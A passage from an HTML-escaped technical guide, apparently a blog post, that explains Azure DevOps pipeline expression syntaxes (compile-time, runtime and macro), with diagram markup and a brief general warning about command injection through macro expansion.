fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='20' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='116' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='148' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='68' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='84' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='20' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='84' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='68' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='148' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='68' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='148' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='4' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='20' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='20' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='68' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='116' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='20' fill='currentColor' style='font-size:1em'\u003e\u0026amp;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='68' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='132' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='68' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='148' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='20' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='116' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='148' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='148' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='20' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='68' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='132' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='132' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='148' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='20' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='68' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='68' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='116' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='132' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='132' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='132' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='148' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='68' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='148' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='132' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='4' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='20' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='68' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='116' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='148' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='20' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='84' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='68' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='84' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='20' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='132' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='20' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='68' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='148' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='116' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='132' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='148' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='132' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='148' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='68' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='20' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='68' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='116' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='132' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='116' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='148' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='132' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='148' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='68' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='696' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='704' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch3 id=\"11-compile-time-expressions--\"\u003e1.1: Compile-time Expressions (${{ }})\u003c/h3\u003e\n\u003cp\u003eCompile-time expressions are evaluated during the \u0026ldquo;Expansion\u0026rdquo; phase, before the pipeline actually starts running. This syntax is primarily used for template meta-programming, such as \u003ccode\u003e${{ if }}\u003c/code\u003e, \u003ccode\u003e${{ each }}\u003c/code\u003e, and \u003ccode\u003etemplateContext\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eBecause evaluation happens before an agent is assigned, \u003ccode\u003e${{ }}\u003c/code\u003e expressions can modify the physical structure of the pipeline—adding or removing entire jobs or steps. However, they are blind to the future. They cannot see variables produced by previous steps or jobs because those data points do not exist during the parsing phase. If you attempt to check a runtime output variable using \u003ccode\u003e${{ }}\u003c/code\u003e, the expression will evaluate to \u003ccode\u003enull\u003c/code\u003e, and your logic block will simply vanish from the execution plan.\u003c/p\u003e\n\u003ch3 id=\"12-runtime-expressions--\"\u003e1.2: Runtime Expressions ($[ ])\u003c/h3\u003e\n\u003cp\u003eRuntime expressions are evaluated during the \u0026ldquo;Execution\u0026rdquo; phase, specifically at the start of a job or stage. This is the standard syntax for \u003ccode\u003econdition:\u003c/code\u003e properties and dynamic variable mapping. Unlike compile-time expressions, runtime expressions can access \u0026ldquo;Output Variables\u0026rdquo; from previous jobs via the \u003ccode\u003edependencies\u003c/code\u003e context.\u003c/p\u003e\n\u003cp\u003eThe architectural trade-off is structural: runtime expressions are more flexible than compile-time logic, but they cannot change the \u003cem\u003estructure\u003c/em\u003e of the pipeline. You can use \u003ccode\u003e$[ ]\u003c/code\u003e to skip a job, but you cannot use it to dynamically add a job that wasn\u0026rsquo;t already in the plan.\u003c/p\u003e\n\u003ch3 id=\"13-macro-expressions--\"\u003e1.3: Macro Expressions ($( ))\u003c/h3\u003e\n\u003cp\u003eMacro expressions are the \u0026ldquo;legacy\u0026rdquo; syntax inherited from Classic Pipelines. They are evaluated just before a specific task runs via standard string interpolation. While useful for passing values into task inputs or script blocks, they are essentially a \u0026ldquo;search and replace\u0026rdquo; operation.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eSecurity Warning:\u003c/strong\u003e Macros are susceptible to injection attacks if used improperly in scripts. If a user-provided variable containing shell characters (like \u003ccode\u003e;\u003c/code\u003e or \u003ccode\u003e\u0026amp;\u003c/code\u003e) is expanded via \u003ccode\u003e$( )\u003c/code\u003e directly into a \u003ccode\u003ebash\u003c/code\u003e task, it can lead to unauthorized command execution.\u003c/p\u003e\n\u003ch2 id=\"2-the-pipeline-lifecycle-when-does-logic-happen\"\u003e2. The Pipeline Lifecycle: When Does Logic Happen?\u003c/h2\u003e\n\u003cp\u003eUnderstanding the \u0026ldquo;When\u0026rdquo; is as important as the \u0026ldquo;How.\u0026rdquo; Azure DevOps processes your YAML in three distinct phases.\u003c/p\u003e\n\u003ch3 id=\"pipeline-lifecycle-when-logic-happens\"\u003ePipeline Lifecycle: When Logic Happens\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container 